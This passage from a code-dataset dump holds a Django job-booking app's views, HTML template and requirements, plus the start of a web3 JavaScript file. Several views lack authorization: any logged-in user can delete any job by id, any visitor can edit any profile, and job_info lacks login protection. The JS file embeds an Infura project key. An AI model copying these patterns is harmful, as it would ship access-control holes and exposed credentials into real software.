obj_db.filter(\n Q(seeker__user__username__icontains =search_query)|\n Q(job_title__icontains =search_query)|\n Q(job_id__icontains =search_query)|\n Q(job_discription__icontains =search_query))\n\n total_obj = len(obj_db)\n current_page = int(request.GET.get('currentpage'))\n\n dic_page = {\n 'previous_page': current_page-1 if (current_page-1) > 0 else None,\n 'current_page': current_page,\n 'next_page': current_page+1 if current_page* object_per_page < total_obj else None,\n 'offset': (current_page-1)* object_per_page,\n 'limit': (current_page)* object_per_page if (current_page)* object_per_page <= total_obj else total_obj,\n 'total_page': total_obj// object_per_page + 1 if total_obj % object_per_page !=0 else total_obj // object_per_page,\n }\n\n obj_db = obj_db[int(dic_page['offset']): int(dic_page['limit'])]\n\n for obj in obj_db:\n obj_d = model_to_dict(obj)\n obj_d['seeker_username']= obj.seeker.user.username\n obj_d['seeker_id'] = obj.seeker.uid\n obj_d['seeker_pic'] = obj.seeker.profile_pic.url\n obj_list.append(obj_d)\n \n dic_page['object_list'] = obj_list\n\n return HttpResponse(dumps(dic_page),content_type=\"application/json\")\n" }, { "alpha_fraction": 0.3984270691871643, "alphanum_fraction": 0.4173021912574768, "avg_line_length": 42.34917449951172, "blob_id": "dd0001122c194d4f1da8622c32beb6903ed5ba97", "content_id": "cd3959f3c7d2e1d16e247d67c15be3937a46fe82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 20980, "license_type": "no_license", "max_line_length": 167, "num_lines": 484, "path": "/django1/template/seekerHistory.html", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "{% extends 'seeker.html' %}\n{% load custumTags %}\n{% load static %}\n{% load crispy_forms_tags %}\n\n{% block styles %}\n <style>\n .filter_container{\n display: flex;\n justify-content: flex-end;\n padding: 0.5em 3em;\n align-items: center;\n }\n label{\n padding:0;\n margin: 0;\n margin-right: 1em;\n color:black;\n font-weight: 650;\n font-style: italic;\n text-shadow: 3px 3px 3px rgba(0, 0, 0, .20);\n }\n #filter_query{\n border: none;\n padding: .5em 2em;\n color:black;\n font-style: italic;\n text-shadow: 3px 3px 3px rgba(0, 0, 0, .20);\n box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .20), 0 6px 20px 0 rgba(0, 0, 0, .20);\n }\n .paddingzero{\n padding: 0;\n }\n\n .bill_btn,.info_btns{\n margin-bottom: .5em;\n border-radius: .35em;\n overflow: hidden;\n width: 105px !important;\n height: 1.75em;\n background-color: #717482;\n border: none;\n color: white;\n width: auto;\n display: flex;\n align-items: center;\n cursor: pointer;\n box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .20), 0 6px 20px 0 rgba(0, 0, 0, .19);\n\n }\n .bill_btn .left,.info_btns .left{\n background-color: white;\n width: 2em;\n color: #717482;\n align-self: stretch;\n display: flex;\n position: relative;\n }\n .bill_btn .left::after,.info_btns .left::after{\n content: \" \";\n position: absolute;\n right: 0;\n top: 50%;\n transform: translate(50%,-50%) rotate(45deg);\n width: .6em;\n height: .6em;\n background-color: white;\n \n }\n .bill_btn .left i, .info_btns .left i{\n align-self: center;\n margin: auto;\n transform: none;\n font-size: .9em;\n }\n .bill_btn .right ,.info_btns .right{\n padding: .5em; \n font-size: .9em; \n }\n .container{\n height: 125px;\n \n }\n .service_tags{\n font-size: 1.0em;\n font-weight: 600;\n text-shadow: 5px 4px 2px rgba(0, 0, 0, 0.644);\n }\n .seeker_history_container{\n width: 100%;\n display: flex;\n justify-content: flex-start;\n flex-wrap: wrap;\n }\n .card-container{\n margin: 1rem 1em !important;\n width: 350px;\n height: 150px;\n display: flex;\n justify-content: flex-start;\n align-items: center;\n box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .20), 0 6px 20px 0 rgba(0, 0, 0, .19);\n border-radius: .5em;\n overflow: hidden;\n }\n \n .card-leftpart{\n flex: 1;\n flex-basis: 55%;\n padding: 1em;\n background-color: #717482;\n color: white;\n position: relative;\n }\n .center_icon{\n position: absolute;\n top: 50%;\n right: 0;\n background-color: whitesmoke;\n width: 2em;\n height: 2em; \n font-size: 1.2em;\n color: #464850;\n transform: translate(50%,-50%) rotate(45deg);\n box-shadow: 0 4px 8px 0 rgba(0, 0, 0, .050), 0 6px 20px 0 rgba(0, 0, 0, .2);\n transition: transform ease-in 350ms;\n }\n .card-leftpart i{\n position: absolute;\n right: 0;\n top: 50%;\n transform: translate(50%,-50%);\n color: black;\n font-size: 1.3em;\n }\n .card-rightpart{\n flex-basis: 45%;\n padding: .5em;\n background-color: whitesmoke;\n display: flex;\n flex-direction: column;\n align-items: flex-end;\n justify-content: center;\n height: 100%;\n }\n .card-container:hover .center_icon{\n transform: translate(50%,-50%) rotate(270deg);\n }\n .billviewlink:hover{\n color: white;\n text-decoration: none;\n }\n .userform,.billform{\n width: 90%;\n padding: 2em ;\n border-radius: .45em;\n height: auto;\n margin: auto;\n \n }\n textarea{\n background-color:transparent;\n height: 90px;\n box-shadow: 0 4px 8px 0 rgba(0,0,0,.2), 0 6px 20px 0 rgba(0,0,0,.2);\n }\n label{\n font-size: 1em;\n font-weight: 600;\n color: black;\n }\n input,select,textarea{\n display: block;\n background-color:rgb(231, 231, 231);\n border: none;\n color: black;\n box-shadow: 0 4px 8px 0 rgba(0,0,0,.1), 0 6px 20px 0 rgba(0,0,0,.1);\n padding: 0.25em 0.75em;\n width: 100%;\n border-radius: .05em;\n overflow: hidden;\n }\n textarea{\n background-color: transparent;\n }\n #filter_query{\n width: 170px;\n }\n</style>\n\n{% endblock %}\n\n{% block seeker_options %}\n <li onclick=\"gotoSeekerDesk()\">Seeker Dash</li>\n{% endblock %}\n\n{% block seeker_html %}\n <h2 class=\"headding mt-4\" style=\"width: 92%;\">Hire History</h2>\n <div class=\"filter_container\">\n <label for=\"filter_query\">Filter By</label>\n <select name=\"filter_query\" id=\"filter_query\">\n <option value=\"request\" selected>REQUESTED</option>\n <option value=\"accept\">ACCEPTED</option>\n <option value=\"done\">DONE</option>\n <option value=\"reject\">REJECTED</option>\n </select>\n </div>\n <div class=\"row user_paginator\" style=\"padding: 1em 0em;width: 92%; margin: auto;\">\n <div class=\"seeker_history_container\">\n {% for value in joblist %}\n {% if value.job_status == \"request\" %}\n\n <div class=\"card-container\">\n <div class=\"card-leftpart\">\n <h4 class=\"service_tags\">{{ value.jobName|title }}</h4>\n <h4 class=\"text-h4\">{{ value.assignDate}}</h4>\n <h4 class=\"text-h4\">Provider: {{ value.provider.user.username}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.phonenumber}}</h4>\n <span class=\"center_icon\"></span>\n {% if value.job_title == \"electrician\" %}\n <i class=\"fas fa-charging-station\"></i>\n {% elif value.job_title == \"furniture\" %}\n <i class=\"fas fa-chair\"></i>\n {% elif value.job_title == \"painting\" %}\n <i class=\"fas fa-paint-roller\"></i>\n {% elif value.job_title == \"cleaning\" %}\n <i class=\"fas fa-broom\"></i>\n {% else%}\n <i class=\"fas fa-wrench\"></i>\n {% endif %}\n </div>\n <div class=\"card-rightpart\">\n <button class=\"bill_btn\" onclick=\"cancelrequest(event,'{{value.job_id}}')\" >\n <span class=\"left\"><i class=\"far fa-times-circle\"></i></span>\n <span class=\"ml-2 right\">Cancel</span>\n </button>\n <button class=\"info_btns\" onclick=\"gotoJobDash(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa-question-circle\"></i></span>\n <span class=\"ml-2 right\">Info</span> \n </button>\n </div>\n </div>\n \n\n {% elif value.job_status == \"accept\" %}\n\n \n <div class=\"card-container\">\n <div class=\"card-leftpart\">\n <h4 class=\"service_tags\">{{ value.jobName|title }}</h4>\n <h4 class=\"text-h4\">{{ value.assignDate}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.user.username}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.phonenumber}}</h4>\n <span class=\"center_icon\"></span>\n {% if value.job_title == \"electrician\" %}\n <i class=\"fas fa-charging-station\"></i>\n {% elif value.job_title == \"furniture\" %}\n <i class=\"fas fa-chair\"></i>\n {% elif value.job_title == \"painting\" %}\n <i class=\"fas fa-paint-roller\"></i>\n {% elif value.job_title == \"cleaning\" %}\n <i class=\"fas fa-broom\"></i>\n {% else%}\n <i class=\"fas fa-wrench\"></i>\n {% endif %}\n </div>\n <div class=\"card-rightpart\">\n <button class=\"info_btns\" onclick=\"gotoJobDash(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa-question-circle\"></i></span>\n <span class=\"ml-2 right\">Info</span> \n </button>\n </div>\n </div>\n \n {% elif value.job_status == \"done\" %}\n\n <div class=\"card-container\">\n <div class=\"card-leftpart\">\n <h4 class=\"service_tags\">{{ value.jobName|title }}</h4>\n <h4 class=\"text-h4\">{{ value.assignDate}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.user.username}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.phonenumber}}</h4>\n <span class=\"center_icon\"></span>\n {% if value.job_title == \"electrician\" %}\n <i class=\"fas fa-charging-station\"></i>\n {% elif value.job_title == \"furniture\" %}\n <i class=\"fas fa-chair\"></i>\n {% elif value.job_title == \"painting\" %}\n <i class=\"fas fa-paint-roller\"></i>\n {% elif value.job_title == \"cleaning\" %}\n <i class=\"fas fa-broom\"></i>\n {% else%}\n <i class=\"fas fa-wrench\"></i>\n {% endif %}\n </div>\n <div class=\"card-rightpart\">\n <a class=\"bill_btn billviewlink\" href=\"{{value.payment.bill_pic.url}}\">\n <span class=\"left\"><i class=\"fas fa-file-invoice\"></i></span>\n <span class=\"ml-2 right\">ViewBill</span>\n </a>\n {% if value.job_id|Check_rated == 'no' %}\n <button class=\"info_btns\" onclick=\"submitComment(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa fa-star\"></i></span>\n <span class=\"ml-2 right\">Rate</span> \n </button>\n {% else %}\n <button class=\"info_btns\" onclick=\"gotoJobDash(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa fa-star checked\"></i></span>\n <span class=\"ml-2 right\">Rated</span> \n </button>\n {% endif %}\n <button class=\"info_btns\" onclick=\"gotoJobDash(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa-question-circle\"></i></span>\n <span class=\"ml-2 right\">Info</span> \n </button>\n </div>\n </div>\n\n {% else %}\n\n \n <div class=\"card-container\">\n <div class=\"card-leftpart\">\n <h4 class=\"service_tags\">{{ value.jobName|title }}</h4>\n <h4 class=\"text-h4\">{{ value.assignDate}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.user.username}}</h4>\n <h4 class=\"text-h4\">{{ value.provider.phonenumber}}</h4>\n <span class=\"center_icon\"></span>\n {% if value.job_title == \"electrician\" %}\n <i class=\"fas fa-charging-station\"></i>\n {% elif value.job_title == \"furniture\" %}\n <i class=\"fas fa-chair\"></i>\n {% elif value.job_title == \"painting\" %}\n <i class=\"fas fa-paint-roller\"></i>\n {% elif value.job_title == \"cleaning\" %}\n <i class=\"fas fa-broom\"></i>\n {% else%}\n <i class=\"fas fa-wrench\"></i>\n {% endif %}\n </div>\n <div class=\"card-rightpart\">\n <button class=\"info_btns\" onclick=\"gotoJobDash(event,'{{value.job_id}}')\">\n <span class=\"left\"><i class=\"far fa-question-circle\"></i></span>\n <span class=\"ml-2 right\">Info</span> \n </button>\n </div>\n </div>\n \n\n {% endif %} \n {% empty %}\n <h1 class=\"errormsg\">You have filters set, which may hide some results OR No date available sorry..</h1>\n {% endfor %}\n </div> \n </div>\n\n <div class=\"padinator\">\n {% if joblist.has_previous %}\n <a class=\"btn btn-primary btn-sm\" href=\"?page=1\" role=\"button\" style=\"width:100px ;height: 30px;\">&laquo; first</a>\n <a class=\"btn btn-primary btn-sm\" href=\"?page={{ joblist.previous_page_number }}\n {% if request.GET.search %}&search={{ request.GET.search}}{% endif %}\n {% if request.GET.filter_query %}&filter_query={{ request.GET.filter_query}}{% endif %}\" role=\"button\" style=\"width:100px ;height: 30px;\">previous</a>\n {% endif %}\n\n {% if joblist %}\n <span class=\"current btn btn-warning btn-sm\" style=\"width:150px;height: 30px;\">\n Page {{ joblist.number }} of {{ joblist.paginator.num_pages }}.\n </span> \n {% endif %}\n\n {% if joblist.has_next %}\n <a class=\"btn btn-primary btn-sm\" href=\"?page={{ joblist.next_page_number }}\n {% if request.GET.search %}&search={{ request.GET.search}}{% endif %}\n {% if request.GET.filter_query %}&filter_query={{ request.GET.filter_query}}{% endif %}\" role=\"button\" style=\"width:100px ;height: 30px;\">next</a>\n <a class=\"btn btn-primary btn-sm\" href=\"?page={{ joblist.paginator.num_pages }}\n {% if request.GET.search %}&search={{ request.GET.search}}{% endif %}\n {% if request.GET.filter_query %}&filter_query={{ request.GET.filter_query}}{% endif %}\" role=\"button\" style=\"width:100px ;height: 30px;\">last &raquo;</a> \n {% endif %}\n\n </div>\n \n{% endblock %}\n\n{% block backendform %}\n \n <div class=\"pop-up-user\">\n <div class=\"user_container\">\n <button class=\"popup-close-btn\" onclick=\"close_popup_overlay('.pop-up-user')\"><i class=\"fas fa-times fa-2x\"></i></button>\n <form method=\"POST\" class=\"userform\">\n <h2>Rate Users Work</h2>\n {% csrf_token %} {{ ratingform }}\n <label>Rating <span id=\"rating_count\">0</span>/5</label>\n <br>\n <button class=\"btn btn-dark mt-3\" type=\"submit\">Rate</button>\n </form>\n </div>\n </div>\n \n\n{% endblock %}\n\n \n\n{% block Scripts %}\n <script>\n\n window.onload = () =>{\n let urls = window.location.href\n const lists = urls.split('/')\n if(lists[4] != null){\n document.querySelector(\"div[data-attr='\"+lists[4]+\"']\").classList.toggle('active')\n }\n const urlParams = new URL(urls)\n if( urlParams.searchParams.get('filter_query') != null){\n document.querySelector('#filter_query').value = urlParams.searchParams.get('filter_query')\n }\n }\n\n const gotoSeekerDesk = () =>{\n window.location.href = \"{% url 'Seeker' service_catogory='All' %}\"\n }\n\n \n const service_list = document.querySelectorAll('.service-categoryitem')\n for(let i=0; i< service_list.length ;i++){\n service_list[i].addEventListener(\"click\", (event) =>{ \n const category = event.target.getAttribute('data-attr')\n let urls = window.location.href\n let urlParams = new URL(urls);\n const filterquery = urlParams.searchParams.get('filter_query')\n window.location.href = \"{% url 'Seeker_history' service_catogory='category' %}\".replace(/category/, category)+\"?filter_query=\"+filterquery;\n })\n }\n \n document.querySelector('#filter_query').addEventListener('change', (event) =>{\n const filter_query = event.target.value;\n let urls = window.location.href\n let urlParams = new URL(urls);\n urlParams.searchParams.set('filter_query',filter_query)\n window.location.href = urlParams.toString()\n })\n \n const gotoJobDash = (event,jobid) =>{\n event.stopImmediatePropagation();\n localStorage.setItem(\"jobbackUrl\",window.location.href)\n window.location.href = \"{% url 'jobInfo' job_id='123' %}\".replace(/123/,jobid)\n }\n\n const cancelrequest = (event,jobid)=>{\n let urls = \"{% url 'Seeker_history' service_catogory='All' %}\"\n urls += \"?filter_query=request\"\n event.stopImmediatePropagation()\n $.ajax({\n url : \"{% url 'Cancel_work_ajax' %}\",\n type:\"GET\",\n data : {'job_id':jobid},\n success: function(data){\n window.location.href=urls\n },\n error :function(){\n alert(\"Something went wrong try after some time\")\n }\n\n })\n }\n\n function submitComment(event,job_id){\n event.stopImmediatePropagation();\n $('#id_comment_job_id').val(job_id);\n $('label[for=\"id_comment_job_id\"]').css('display','none')\n open_popup_overlay('.pop-up-user')\n }\n\n $('#id_rating').on('change',function(event){\n var rating = event.target.value\n $('#rating_count').text(rating)\n })\n \n document.querySelector('.userform').onsubmit = function(event){\n event.preventDefault()\n close_popup_overlay('.pop-up-user')\n document.querySelector('.userform').submit()\n }\n </script>\n{% endblock %}" }, { "alpha_fraction": 0.6154574751853943, "alphanum_fraction": 0.6160890460014343, "avg_line_length": 39.21587371826172, "blob_id": "6dee69fb24c329079d1cc0d4266ddff55231ec4d", "content_id": "3e4b9ccbdd52802ee0f33d6b88be369303ba988b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12667, "license_type": "no_license", "max_line_length": 146, "num_lines": 315, "path": "/django1/core/views.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django.shortcuts import render,HttpResponseRedirect,HttpResponse\nfrom django.urls import reverse\nfrom .forms import App_user_form,User_form,Payment_form,jobAssignmentForm,Comment_form\nfrom django.contrib.auth import logout as django_logout\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Applicationuser,Payment,Job,Comment\nfrom django.db.models import Q \nfrom json import dumps\nfrom django.forms.models import model_to_dict\nfrom django.core.paginator import Paginator\nimport math\n# Create your views here.\n\ndef index(request):\n return render(request,'index.html')\n\n\ndef register(request):\n register_form_appuser = App_user_form()\n register_form_djangouser = User_form()\n context ={'appuser':register_form_appuser,'djangouser':register_form_djangouser}\n \n if request.method == \"POST\":\n register_form_appuser = App_user_form(request.POST,request.FILES)\n register_form_djangouser = User_form(request.POST)\n \n if register_form_appuser.is_valid() and register_form_djangouser.is_valid():\n user_django = register_form_djangouser.save()\n user_app = register_form_appuser.save(commit=False)\n \n user_app.user = user_django\n \n user_app = register_form_appuser.save(commit=True)\n return HttpResponseRedirect(reverse('login'))\n else:\n context['appuser']=register_form_appuser\n context['djangouser']=register_form_djangouser\n \n return render(request,'register.html',context)\n \n\n@login_required\ndef logout(request):\n django_logout(request)\n return HttpResponseRedirect(reverse('startpoint'))\n\n\n\n@login_required\ndef accept_work_ajax(request):\n if request.method ==\"GET\" and request.is_ajax():\n job_obj = Job.objects.filter(job_id=int(request.GET.get('job_id'))).update(job_status='accept')\n \n return HttpResponse(None)\n\n@login_required\ndef reject_work_ajax(request):\n if request.method ==\"GET\" and request.is_ajax():\n job_obj = Job.objects.filter(job_id=int(request.GET.get('job_id'))).update(job_status='reject')\n \n return HttpResponse(None)\n\n\n\n\n@login_required\ndef seeker_home(request,service_catogory = None):\n Number_of_objects_per_page = 15\n context={}\n \n if request.method == \"POST\":\n jobAssignmentForm_obj = jobAssignmentForm(request.POST)\n if jobAssignmentForm_obj.is_valid():\n jobAssignmentForm_obj.save()\n jobAssignmentForm_obj = jobAssignmentForm()\n else:\n jobAssignmentForm_obj = jobAssignmentForm()\n if service_catogory == \"All\":\n obj = Applicationuser.objects.all().exclude(user__username=request.user.username)\n else:\n obj = Applicationuser.objects.filter(Q(service_catogory = service_catogory.lower())).exclude(user__username=request.user.username) or None\n search_query = request.GET.get('search',None)\n if search_query:\n obj = obj.filter(Q(user__username__icontains =search_query)|\n Q(service_catogory__icontains = search_query)|\n Q(user_satus__icontains =search_query)|\n Q(rating__icontains =search_query))\n \n if obj:\n paginated_object_list = Paginator(obj,Number_of_objects_per_page)\n page_number = request.GET.get('page') \n obj = paginated_object_list.get_page(page_number)\n \n context['userlist']=obj\n\n\n context['form'] =jobAssignmentForm_obj\n return render(request,'seeker.html',context)\n\n\n@login_required\ndef seeker_history(request,service_catogory=None,*args,**kwargs):\n Number_of_objects_per_page = 15\n context={}\n \n if request.method == \"POST\":\n ratingform = Comment_form(request.POST or None)\n if ratingform.is_valid():\n ratingform.save()\n ratingform = Comment_form()\n else:\n ratingform = Comment_form()\n \n if service_catogory == \"All\":\n obj = Job.objects.filter(seeker__user__username=request.user.username)\n else:\n obj = Job.objects.filter( Q(seeker__user__username=request.user.username) &\n Q(job_title = service_catogory.lower())) or None\n \n filter_query = request.GET.get('filter_query',\"request\")\n\n if filter_query and obj:\n obj = obj.filter(job_status=filter_query) \n \n search_query = request.GET.get('search',None)\n if search_query and obj:\n obj = obj.filter(Q(job_title__icontains =search_query)|\n Q(job_discription__icontains = search_query)|\n Q(provider__user__username__icontains =search_query)) \n if obj:\n paginated_object_list = Paginator(obj,Number_of_objects_per_page)\n page_number = request.GET.get('page') \n obj = paginated_object_list.get_page(page_number)\n \n context['joblist']=obj\n context['ratingform']=ratingform\n return render(request,'seekerHistory.html',context)\n\n@login_required\ndef provider_home(request,service_status=\"request\",*args,**kwargs):\n Number_of_objects_per_page = 15\n context={}\n \n\n if request.method == \"POST\":\n billform = Payment_form(request.POST,request.FILES or None)\n\n if billform.is_valid():\n billform.save()\n billform = Payment_form()\n\n else:\n billform = Payment_form()\n\n obj = Job.objects.filter( Q(provider__user__username=request.user.username) &\n Q(job_status=service_status))\n \n search_query = request.GET.get('search',None)\n if search_query and obj:\n obj = obj.filter(Q(job_title__icontains =search_query)|\n Q(job_discription__icontains = search_query)|\n Q(seeker__user__username__icontains =search_query)) \n if obj:\n paginated_object_list = Paginator(obj,Number_of_objects_per_page)\n page_number = request.GET.get('page') \n obj = paginated_object_list.get_page(page_number)\n \n context['joblist']=obj\n context['billform']=billform\n \n\n \n return render(request,'provider.html',context)\n\ndef user_page(request,user_id=None):\n # request.user.applicationuser.uid\n username = Applicationuser.objects.get(uid=user_id).user.username \n Number_of_objects_per_page = 16\n context={}\n obj = Applicationuser.objects.get(uid=user_id )\n if request.method == \"POST\":\n form = App_user_form(request.POST,request.FILES,instance=obj)\n if form.is_valid():\n form.save()\n else:\n form = App_user_form( instance=obj)\n \n commentobj = Comment.objects.filter(job__provider__user__username=username)\n\n filter_rating_query = request.GET.get(\"filter_rating\",\"accending\")\n if filter_rating_query == \"accending\":\n commentobj = Comment.objects.filter(job__provider__user__username=username).order_by('rating','cid')\n else:\n commentobj = Comment.objects.filter(job__provider__user__username=username).order_by('-rating','cid')\n\n filter_category_query = request.GET.get(\"filter_cat\",\"all\")\n if filter_category_query == \"all\":\n pass\n else:\n commentobj = commentobj.filter(Q(job__job_title=filter_category_query))\n\n \n if commentobj:\n paginated_object_list = Paginator(commentobj,Number_of_objects_per_page)\n page_number = request.GET.get('page') \n commentobj = paginated_object_list.get_page(page_number)\n\n try:\n if int(request.user.applicationuser.uid) == int(user_id):\n context[\"thirdperson\"] = \"self\"\n else:\n context[\"thirdperson\"] = \"thirdperson\"\n except Exception as p:\n context[\"thirdperson\"] = \"thirdperson\"\n context['userobj']= obj\n context['commentobj'] = commentobj\n context['form']=form\n context['image']= Applicationuser.objects.get(uid=user_id).profile_pic.url\n return render(request,'user.html',context)\n\ndef update_user_rating(current_rating,new_rating,job_id):\n job_obj = Job.objects.get(job_id=job_id)\n user_obj = Applicationuser.objects.filter(uid=job_obj.provider.uid).first()\n total_user_count = user_obj.rated_user_count\n current_rating = int(user_obj.rating) * total_user_count - current_rating\n new_rating = math.ceil((float(current_rating)+float(new_rating))/(float(total_user_count)))\n user_obj = Applicationuser.objects.filter(uid=job_obj.provider.uid).update(rating=new_rating)\n\n\ndef job_info(request,job_id=None):\n context={}\n jobj = Job.objects.get(job_id=job_id)\n\n \n jobform=None\n if request.user.applicationuser.uid == jobj.seeker.uid and jobj.job_status not in \"done reject\" :\n if request.method == \"POST\" and request.POST.get('formType') =='jobform':\n jobform = jobAssignmentForm(request.POST)\n\n if jobform.is_valid():\n Job.objects.filter(job_id=job_id).update(\n job_discription = jobform.cleaned_data['job_discription'],\n jobName = jobform.cleaned_data['jobName']\n )\n \n jobform = jobAssignmentForm(instance=jobj)\n else:\n jobform = jobAssignmentForm(instance=jobj)\n \n ratingform = None\n if request.user.applicationuser.uid == jobj.seeker.uid and jobj.job_status =='done':\n comment_obj = Comment.objects.filter(job__job_id = int(job_id)).first() or None\n if request.method == \"POST\" and request.POST.get('formType') =='ratingform':\n ratingform = Comment_form(request.POST)\n if comment_obj:\n if ratingform.is_valid():\n current_rating = int(comment_obj.rating)\n new_rating = int(ratingform.cleaned_data['rating'])\n comment_obj = Comment.objects.filter(job__job_id = int(job_id)).update(\n content = ratingform.cleaned_data['content'],\n rating = ratingform.cleaned_data['rating']\n )\n update_user_rating(current_rating,new_rating,job_id)\n comment_obj = Comment.objects.filter(job__job_id = int(job_id)).first()\n ratingform = Comment_form(instance=comment_obj)\n else:\n if ratingform.is_valid():\n ratingform.save()\n comment_obj = Comment.objects.filter(job__job_id = int(job_id)).first()\n ratingform = Comment_form(instance=comment_obj)\n else:\n if comment_obj:\n ratingform = Comment_form(instance=comment_obj)\n else:\n ratingform = Comment_form() \n \n billform=None\n if request.user.applicationuser.uid == jobj.provider.uid and jobj.job_status !='request':\n bill_obj = Payment.objects.filter(jobId = int(job_id)).first() or None\n if request.method == \"POST\" and request.POST.get('formType') =='billform':\n billform = Payment_form(request.POST,request.FILES)\n if bill_obj:\n if billform.is_valid():\n bill_obj.labour_cost =billform.cleaned_data['labour_cost']\n bill_obj.resource_cost=billform.cleaned_data['resource_cost']\n bill_obj.payment_status = request.POST.get('payment_status','pending')\n if request.FILES.get('bill_pic'):\n bill_obj.bill_pic=request.FILES.get('bill_pic')\n bill_obj.ammount = int(billform.cleaned_data['labour_cost'])+int(billform.cleaned_data['resource_cost'])\n bill_obj.save()\n bill_obj = Payment.objects.filter(jobId = int(job_id)).first()\n billform = Payment_form(instance=bill_obj)\n else:\n if billform.is_valid():\n billform.save()\n bill_obj = Payment.objects.filter(jobId = int(job_id)).first()\n billform = Payment_form(instance=bill_obj)\n else:\n if bill_obj:\n billform = Payment_form(instance=bill_obj)\n else:\n billform = Payment_form() \n \n context['jobform']=jobform\n context['ratingform']=ratingform\n context['billform']=billform\n context[\"Jobobj\"]=Job.objects.get(job_id=job_id) \n return render(request,\"jobinfo.html\",context)\n\n\n@login_required\ndef Cancel_work(request):\n if request.is_ajax():\n Jobobj = Job.objects.filter(job_id=int(request.GET.get('job_id'))).delete()\n return HttpResponse(None)" }, { "alpha_fraction": 0.4670846462249756, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 14.949999809265137, "blob_id": "79902f5e7e584fef63843261fee10b02c8e3961e", "content_id": "f94016147f985dfd7a149045521429a7cba686e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 638, "license_type": "no_license", "max_line_length": 26, "num_lines": 40, "path": "/django1/requirements.txt", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "astroid==2.0.4\nbeautifulsoup4==4.8.1\nbokeh==1.4.0\nbs4==0.0.1\ncolorama==0.4.0\ncycler==0.10.0\nDateTime==4.3\nDjango==2.1.7\ndjango-crispy-forms==1.9.0\nisort==4.3.4\nJinja2==2.10.3\njoblib==0.14.0\nkiwisolver==1.1.0\nlazy-object-proxy==1.3.1\nlxml==4.4.1\nMarkupSafe==1.1.1\nmatplotlib==3.1.2\nmccabe==0.6.1\nnumpy==1.15.4\npackaging==19.2\npandas==0.25.3\npgmpy==0.1.9\nPillow==6.2.1\npygame==1.9.6\npylint==2.1.1\npyodbc==4.0.24\nPyOpenGL==3.1.0\npyparsing==2.4.5\npython-dateutil==2.8.1\npytz==2018.9\nPyYAML==5.1.2\nregex==2019.3.12\nscikit-learn==0.21.3\nscipy==1.3.3\nsix==1.11.0\nsklearn==0.0\nsoupsieve==1.9.4\ntornado==6.0.3\nwrapt==1.10.11\nzope.interface==4.6.0\n" } ]
10
scucchiero/SmartContract_dev
https://github.com/scucchiero/SmartContract_dev
16f00eea469e90c6aba765219221de33729166d8
9a6203c600d8eaab90ac7d485958327108db1d7e
fdf6ebf950c80c7fa53faba8b9e8af39c98a1691
refs/heads/master
2020-03-18T22:33:23.686662
2018-07-16T18:01:16
2018-07-16T18:01:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6820716857910156, "alphanum_fraction": 0.7107569575309753, "avg_line_length": 40.79999923706055, "blob_id": "0b6c71fd1e4a76c2b360da56bb88095ce965ae3d", "content_id": "d643da11db63acae48953b277205c21d23a94f38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1255, "license_type": "no_license", "max_line_length": 161, "num_lines": 30, "path": "/contract_interact_js/contract_instances.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "const Web3 = require('web3');\nconst solc = require('solc');\nconst fs = require('fs');\nconst Tx = require('ethereumjs-tx');\nweb3 = new Web3(new Web3.providers.HttpProvider('https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg'));\n\n\nfunction callByTransaction(abi,at,options)\n{\n var fileName =\"./src/\"+\"test.sol\";\n var contractName=\"test\";\n var compiledInstance=solc.compile(fs.readFileSync(fileName).toString());\n var contractAbi = JSON.parse(compiledInstance.contracts[':'+contractName].interface);\n var bytecode = compiledInstance.contracts[':'+contractName].bytecode;\n\n var contractModel= web3.eth.contract(contractAbi);\n var instance = contractModel.at(\"0xb3ced684e72c09b66b1909424d3c99a32ca135ea\");\n\n instance[options.function].getData(options.parameters)\n\n if(options.hasEvents === false){}\n if(typeof options.to === 'undefined' || typeof options.from === 'undefined' || typeof options.function === 'undefined') throw new Error(\"Missing parameter\");\n if(typeof options.parameters === 'undefined') throw new Error(\"Missing parameter\"); \n \n var bytecode=\"0x\"+json[contract].bytecode;\n var contractAbi = json[contract].abi;\n var from=web3.eth.coinbase;\n var MyContract = web3.eth.contract(abi); \n \n}\n\n" }, { "alpha_fraction": 0.7481481432914734, "alphanum_fraction": 0.7481481432914734, "avg_line_length": 26, "blob_id": "83c1de9b9dc744ef1b053ff8d6a7d2cdeea817fa", "content_id": "3e0e1b8c7fd82cb95f2d390e87f82cb46bcfb424", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 135, "license_type": "no_license", "max_line_length": 59, "num_lines": 5, "path": "/millionPixels/migrations/2_initial_million.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var MillionPixel = artifacts.require(\"./MillionPixel.sol\");\n\nmodule.exports = function(deployer) {\n deployer.deploy(MillionPixel);\n};\n" }, { "alpha_fraction": 0.723247230052948, "alphanum_fraction": 0.7343173623085022, "avg_line_length": 37.85714340209961, "blob_id": "a9dd11c9c1ae77160b5afa9a2bcd540136a5e819", "content_id": "c3e03ef467b7d23313e1ddc7fb65b3fb970f9400", 